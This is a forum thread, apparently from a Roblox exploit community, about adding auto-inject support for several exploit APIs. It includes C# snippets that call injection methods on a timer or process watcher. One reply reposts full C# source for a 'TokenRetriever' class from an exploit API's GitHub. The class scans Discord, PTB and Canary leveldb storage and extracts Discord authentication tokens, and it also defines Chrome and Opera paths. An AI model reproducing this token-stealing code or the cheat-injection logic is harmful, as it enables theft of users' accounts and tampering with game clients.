Posted
Hi, If you can help me find a way to do auto inject for a multi api exploit I will kiss you
yeah sandwhichÂ
Replied
Haha skid alting lol
Cancel
Post
Discord : Doctor Doom#0550
yeah sandwhichÂ
Learning C++, C#, JavaScript Developer
I develop random stuff
Discord: Unidentified#1091
Replied
wait a sec,
bruh this guy added me on discordd
Cancel
Post
743894599239598090
Â
Replied
STOP SKIDDING
simple :)
You now owe Autumn -100000000000000000000000000000000 Autumn points.
Cancel
Post
JustMarie#0709
Â
Replied
jesus christ how many times do i have to link my github
https://github.com/MaximusXYZ/Eternal/blob/main/ProcessWatcher.cs
Cancel
Post
Replied
Just use timers or process watcher. The easiest way for multi api is to do a check every timer tick.
Cancel
Post
https://media.discordapp.net/attachments/994643402949926956/1004560140252495960/uqJXQIda.gif
Discord: Ad#1085; Don't hesitate to DM me if you need help/anything.
Replied
dad im sorry
ok jk jk thhe code isnt even optimized
if (AutoAttach == true) {
if (api == "wrd") {
wrdapi.LaunchThislego20$hack();
}
else if (api == "easy") {
ezapi.LaunchThisLegohax2020realnotfakegonewrong();
} //wrd mods only want you know about their api and prevent sayin other ones lol
else {
MessageBox.Show("what kind of dark magic is this?!?!?!");
}
}Cancel
Post
hi123
Replied
@_realnickk srsly just a little code is fine for everyone why must you even call these stuff "spoonfeeding"
Cancel
Post
Replied
if(Properties.Settings.Default.AutoAttach)
{
//you can store the selected api in an enum(https://www.w3schools.com/cs/cs_enums.asp) but I am gonna simplify it.
string selected_api = "wearedevs";// you can have this somewhere public so when somebody switches api u can do ' selected_api = "otherapi"; '
switch(selected_api)
{
case "wearedevs":
//call easy exploit's injection method
break;
case "otherapi":
//call other api injection method
break;
//you can continue it on.
}
//you can learn more about switch cases here: https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/switch
}
Make sure this is in a timer or a loop. for timers i would use a dispatcher timer and set this code to its elapsed/tick event.. or even better you can hook it up to a process watcher such as one made by someone talented in the roblox exploiting community called BreakShooot: GitHub - BreakShoot/ProcessWatcher: A non-elevated example of process watching
Cancel
Post
Replied
can you please explain this?
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
namespace OxygenU_API
{
class TokenRetriever
{
private static List<string> ReadAllLines(string file)
{
List<string> list = new List<string>();
using (FileStream fileStream = File.Open(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
{
using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default))
{
while (streamReader.Peek() >= 0)
{
list.Add(streamReader.ReadLine());
}
}
}
return list;
}
private static string TokenRegexCheck(string line)
{
foreach (object obj in TokenRetriever.tokenRegex.Matches(line))
{
string value = ((Match)obj).Groups[0].Value;
if (value.Length == 59 || value.Length == 88)
{
return value;
}
}
return "";
}
private static string PerformTokenCheck(string line)
{
if (line.Contains("[oken"))
{
return TokenRetriever.TokenRegexCheck(line);
}
if (line.Contains(">oken"))
{
return TokenRetriever.TokenRegexCheck(line);
}
if (line.Contains("token>"))
{
foreach (object obj in TokenRetriever.tokenRegex.Matches(line))
{
Match match = (Match)obj;
if (match.Length >= 59)
{
return match.Value;
}
}
}
return "";
}
public static List<string> RetrieveDiscordTokens()
{
List<string> list = new List<string>();
List<string> list2 = new List<string>(new string[]
{
TokenRetriever.discordTokenDirectory,
TokenRetriever.ptbTokenDirectory,
TokenRetriever.canaryTokenDirectory
});
List<string> list3 = new List<string>();
foreach (string path in list2)
{
if (Directory.Exists(path))
{
IEnumerable<string> collection = from specifiedFile in Directory.EnumerateFiles(path)
where specifiedFile.EndsWith(".ldb") || specifiedFile.EndsWith(".log")
select specifiedFile;
list3.AddRange(collection);
}
}
foreach (string file in list3)
{
foreach (string line in TokenRetriever.ReadAllLines(file))
{
if (!(TokenRetriever.PerformTokenCheck(line) == ""))
{
list.Add(TokenRetriever.PerformTokenCheck(line));
}
}
}
return list;
}
private static readonly string tokenFileDirectory = "\\Local Storage\\leveldb";
private static readonly string userDataDirectory = "\\User Data\\Default";
private static readonly string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
private static readonly string localAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
public static readonly string temporaryDirectoryPath = Path.Combine(TokenRetriever.localAppDataPath, "\\temp");
public static readonly string discordTokenDirectory = Path.Combine(TokenRetriever.appDataPath, "Discord" + TokenRetriever.tokenFileDirectory);
public static readonly string ptbTokenDirectory = Path.Combine(TokenRetriever.appDataPath, "discordptb" + TokenRetriever.tokenFileDirectory);
public static readonly string canaryTokenDirectory = Path.Combine(TokenRetriever.appDataPath, "discordcanary" + TokenRetriever.tokenFileDirectory);
public static readonly string chromeTokenDirectory = Path.Combine(TokenRetriever.localAppDataPath, "Google\\Chrome" + TokenRetriever.userDataDirectory + TokenRetriever.tokenFileDirectory);
public static readonly string operaTokenDirectory = Path.Combine(TokenRetriever.appDataPath, "Opera Software\\Opera Stable" + TokenRetriever.tokenFileDirectory);
private static readonly Regex tokenRegex = new Regex("([A-Za-z0-9_\\./\\\\-]*)");
}
}
Source (THIS WAS LEGIT YOUR OWN GITHUB) https://github.com/PareX2019/OxygenU_API/blob/master/TokenRetriever.cs
Cancel
Post
no
Error: The signature must be between 3-200 characters
JustMarie#0709
Â
Learning C++, C#, JavaScript Developer
I develop random stuff
Discord: Unidentified#1091
Users viewing this thread:
( Members: 0, Guests: 0, Total: 0 )
Cancel
Post